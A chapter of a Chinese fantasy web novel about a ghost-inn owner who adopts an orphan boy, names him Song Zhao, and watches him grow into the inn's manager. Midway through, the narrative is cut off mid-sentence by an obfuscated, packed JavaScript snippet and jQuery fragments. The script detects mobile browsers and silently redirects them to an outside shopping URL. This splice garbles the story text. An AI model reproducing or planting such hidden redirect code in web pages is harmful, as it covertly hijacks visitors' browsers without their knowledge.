寂未牵着他的手，逆着人群和其他人擦肩而过。远处的某位先生摘掉自己的帽子，隔着人潮向对面躬身致礼，完全没有注意到路过的二人。


    回到客栈，徐至檐一眼就看到了她带回来的孩子，好奇地问：“老板，这个小孩是？”


    “捡来的。”寂未松开他的手，掀起眼皮，“正好从小适应，免得又找来什么半吊子。”


    之前甚至还有被鬼吓得屁滚尿流的，她实在不想再在客栈里看到那样的场景。


    安观从里面出来，看到孩子时并没有多少意外之色，只是说：“我听说租界那边发生了枪击和爆炸，这个孩子……”


    他没再说下去，但在场的人都明白这话里的意思。


    寂未从庄渐意手里接过手帕，仔细擦着自己手上的血迹，没有正面回答他的问题，“今晚的客人会很多，打起精神别出什么乱子。至于这个小孩，你们安置吧。”


    说完这些，她总算想起来问他：“叫什么名字？”


    那个小孩仰头和她对视着，嘴唇紧紧抿起，两只手不安地交叠，眼里的不安分外明显。


    她难得耐心等了好半天，这小孩还是没有要说话的意思。


    徐至檐忍不住道：“这小孩该不是不会说话吧？”


    小孩缓慢垂下头，眨巴了两下眼睛，不知道在想些什么。


    听到这话的寂未倒是短促笑了声，俯下身子翻开他的手。


    那个被他攥在手里的平安扣已经沾了血，上面雕刻着太阳的图纹，最顶处还带着一个宋字。


    小孩全程视线紧盯着她的动作，似乎是知道她不会抢，即便紧张，也只是乖巧地站在那里等待。


    “姓宋？”她掀起眼皮，语气平淡。


    他抬起头看着眼前的人，她的脸上还沾着血，身上的衣裳也都染红了大片，看起来比平时更不好招惹。他不自觉捏紧手中的东西，轻轻点了下头。


    寂未望着那双干净得不掺任何杂质的眼睛，看到他藏在不安下的倔强。


    她像是终于失去了和他对峙的兴趣，站起身从徐至檐手里抽出笔来，在纸上写下了一个字，随后将笔丢回桌子上，转身离去。


    两人这有来无回的对话看得他们差点呼吸不上来，生怕寂未一个不耐烦直接给人小孩留下心理阴影。


    尤其是徐至檐，总觉得老板下一秒会失去耐性把小孩丢出去。


    安观抬头看向楼梯上的身影，礼貌询问：“老板，需要换地方吗？”


    “不用。”她回的很快。


    几个人凑上去看那个字——朝。


    徐至檐盯着那个字看，戳了戳身边的鬼差，“意姐，这字该怎么念啊？”


    老板刚才什么也没说，光留下这么个多音字，他们该怎么称呼啊……


    庄渐意还没来得及回答，上面就传来了寂未的声音：“朝（chao）。”


    小孩安静地抬起头，望着那个离他已经很远的人。寂未没有再看他，说完之后就回了房间。


    “这名字也太随便了吧。”听到门被关上，徐至檐小声吐槽，有些同情地看了眼那个小孩。


    安观笑得很温和，他走到小孩面前，抬手摸了摸他的头顶，“宋朝（zhao）。以后，你就叫宋朝了。”


    庄渐意有些犹豫，“安经理，老板刚刚说……”


    “相信我，在她心里，这个字念朝（zhao）。”安观抬起头，轻捋着自己的胡子，朝楼上看去。


    刚才那个人已经不在，自然就无法对此表示反对。


    朝为初始，亦为日光初阳。是她的憾，也是她的愿。


    小孩收回目光，看向面前这位慈祥的老人，又垂下眼睛将平安扣捧在掌中，放在心脏的位置，很轻的点了一下头。


    他有新的名字了。


    单字一个朝，宋朝。


    “多大了？”安观又问。


    宋朝抿唇思考片刻，小声对他说：“六岁。”


    孩子的声音稚嫩，还带了些怯。


    见他能开口说话，在场的几个人都愣了下。


    徐至檐震惊道：“你会说话啊？！那刚才老板问你你怎么不出声？”


    宋朝看向他，接着又低下头不说话了。


    徐至檐看向庄渐意，无奈摇头。他算是看明白了，这小孩一碰到不想回答的问题就装哑巴。


    看他这个样子，安观也没有再多问，只是笑着对他说：“以后你就住在这里。我姓安，你可以和他们一样叫我安经理。”


    宋朝眨巴了两下眼睛，轻声重复，“安经理。”


    安观朝他点头，应了声：“嗯。”


    庄渐意给宋朝收拾了一间房，看着他身上那件脏得不成样子的衣服，带他上楼换衣服，然后叫他好好休息。


    徐至檐边工作，边和其他两个人说：“我说吧，这个孩子就是老板救回来的。掺和到这些事里也不知道对老板会不会有影响，你说老板怎么就不长记性呢？”


    “这孩子也挺可怜的，既然老板带回来了，我们就好好养着。”庄渐意叹了口气，她最担心的事还是发生了。


    安观朝上面望了眼，轻声叹息，“这孩子活不长的。”


    这话说完之后，场面凝固几秒，好半天才记起来这话是什么意思。


    强行改命的人终究是活不长的，即便救得了一时，也难救一世，总会有被发现的那日，待到那时怕是连老板都要受牵连。


    徐至檐把手里的笔放下，低声道：“哦对，我差点忘记这事了。你说老板她图什么呀？”


    “你小点声，别叫那孩子听见。”庄渐意瞥他一眼，提醒他。


    他往上瞧了眼，那扇门关的好好的，阴影之外的地方也没有瞧见人。徐至檐松了口气，却也没再提起这事。


    二楼阴影处的身影动了动，轻手轻脚地推开房门回去，落在光亮处的半块影子也和阴影融合到一起。


    从那日以后，宋朝就开始跟着安观处理客栈中的事，不过大多时候都是安观自己处理，他坐在一边做自己的事。偶尔还会和庄渐意他们说话，帮着他们做些些琐碎的小事，这些小事中的大部分都和寂未有关。


    “宋朝，把这个酒给老板送上去。”徐至檐招招手，把手里的酒给他。


    小孩也没说什么，抱着酒瓶就往楼上去。


    徐至檐感叹道：“有这么个小孩就是好，跟老板有关的事都不用咱们管了。”


    “你就抖机灵吧。”庄渐意对他这种行为已经表示过多次不赞同，可对方充耳不闻，小孩也颇有种以此为乐的样子，她现在也是无可奈何。


    徐至檐哼哼两声，“那怎么了，反正老板不会和宋朝计较。你没发现老板最近摔东西的次数都少了吗，为了小孩的能健康成长，老板也是牺牲不少啊。”


    虽然老板牺牲的多，但他们获益大呀，徐至檐真是觉得最近的日子舒坦的不得了。


    这么想着想着，他又憋不住笑起来。


    宋朝进办公室扫了一圈也没有看到寂未的身影，倒是侧边的小门大喇喇地开着。他把酒放到桌子上，朝着那个门过去。


    那间屋子很小，约莫只能站三五个人，里面什么家具摆件都没有，只有墙上挂着大大小小不规则的画像，都是他不认识的人，除了最后一位的安观。


    寂未背对着他，站在那幅最大的画前。画上画了很多人，许多都只是虚影，看不清脸。他们身后是巍峨的高山，阳光落在他们身上，每个人都在笑。


    明明是一幅温馨幸福的画作，可不知道为什么，却让人觉得有些难过。


    “酒送到了，还不走？”她没回头，但还是察觉了他的存在。


    宋朝走进屋子，站到她身边，问：“这都是你画的吗？”


    她转了转手里的打火机，烦躁地按动几下，然后丢回口袋里，“嗯。”


    “我以后也会有吗？也会挂在这里吗？”小孩仰起头，眼里隐隐有几分期待。


    如果能留下这样的一幅画像，等他离开后，他们就会记得他了。


    似乎是没有想到会是这样的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828369|182508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问题，寂未低头看向他，看到那双黑白分明的眼睛里透出的情绪后，她回答：“如果你成为客栈经理就会有。”


    宋朝眼里的光随着这句话黯淡下来，他像是有些遗憾，转头又看向眼前的画，“可是安经理做得很好，我比不过他。”


    “他总有一天会离开，等到那时候你就有机会了。”她默然过后，对他说。


    “像我父母那样离开吗？”他摇摇头，声音很轻，“那我还是不要做经理了。”


    安经理是个好人，他希望他能长长久久地留在这里。


    寂未扯了下唇，“这不是你能决定的。”


    听完这句话的很长一段时间，宋朝都没有再说话，就那么站在她的身边，安静地去看墙上的画。许是觉得孩子不懂事，寂未也没有再让他离开，两个人各怀心思地站在灯光下，观赏房间里的画作。


    “这些是你的家人吗？”宋朝忽然又问。


    她凝望着画里的人，几不可闻地答：“嗯。”


    “他们在哪儿？为什么没有陪在你身边？”


    “他们有了新的羁绊。”


    在这个世界的任何一个角落，除了她的身边。而她除了这幅画，也再没有任何属于他们的东西。


    那天以后，宋朝不再像从前一样总跟着安观，改换跟在寂未身边。


    虽然他大多时候都不能完全理解寂未话中的深意，却总是喜欢在她身边待着，两个人很少会和对方说话，只有极少数的时候会聊天。对于自己不想回答的问题，他们也如出一辙地保持沉默。


    往后的许多年，他们始终维持着这样微妙的平衡。


    安观在宋朝来到客栈的第十三年离开，他成为了客栈新一任的经理。庄渐意和徐至檐不会像称呼其他经理那样称呼他，而是直呼其名，寂未对他很少会有什么称呼，就是有也都是小不点小不点的叫。


    石子从他眼前掉落，落在地面上，发出一声脆响。


    宋朝刚走到门前，被这颗突如其来的石子惊了下，以为是徐至檐的恶作剧。他下意识抬头，却和那个未曾想过的人撞上了视线。


    石头在地上滚动一圈，最后掉进草丛中，弄得花草晃动不止。


    寂未的头发编落在侧，冷清的眼眸低垂着，漫不经心地和他对视。


    两道目光交汇在黑夜中，她没有主动说话的打算，另一个正望着她不知在想些什么，半天没有动作。


    她就这么盯了宋朝很久，以为他被那颗石头吓到了，索性伸出手，朝他抛了个东西。


    宋朝终于有了反应，抬手将那东西接在了掌心里。他低头去看，是一枚银元，在月色的照射下泛起柔和的光晕。


    “今日天赦，是个值得庆祝的日子，买些吃食回来和他们庆祝吧。”她的话很平静，没有任何多余的废话。


    他怔怔看着手里的银元，等再抬头，上面已经没有那人的身影。


    廊下灯笼随风转动，发出轻微的哗啦声。风在吹，树在摇，灯火在重叠，铺在地上的影子也随着它们晃动，恍惚间与某种频率相和。


    那年的天赦与他的生辰同日，往年生辰都是安观替他准备，可他已经不在，鬼差对于生辰这种日子总是记不太清的，他本以为往后不会再过生辰……


    客栈从未庆祝过什么天赦，她的说辞或许是一时兴起，亦或只是别扭的托词。


    他攥着手里的东西，眉眼不自觉轻弯。


    在安观家乡的习俗中生辰要吃饼，这样才能圆满，多年过去他也早已养成习惯。所谓的庆祝寂未并没有参加，只有他们三个吃酒玩乐到深夜。


    宋朝从不饮酒，几人之中最后也只有徐至檐喝得烂醉，他和庄渐意把人架回房间后各自回去休息了。


    等他回到房间时，一眼就看到桌面上摆放好的礼物盒。


    送这份礼物的人没有写下自己的名字，甚至没有留下任何字条，可宋朝几乎瞬间就猜到是谁。


    也是直到那夜他才知晓，过去每年的生辰礼中，总有一份是这个人送给自己的。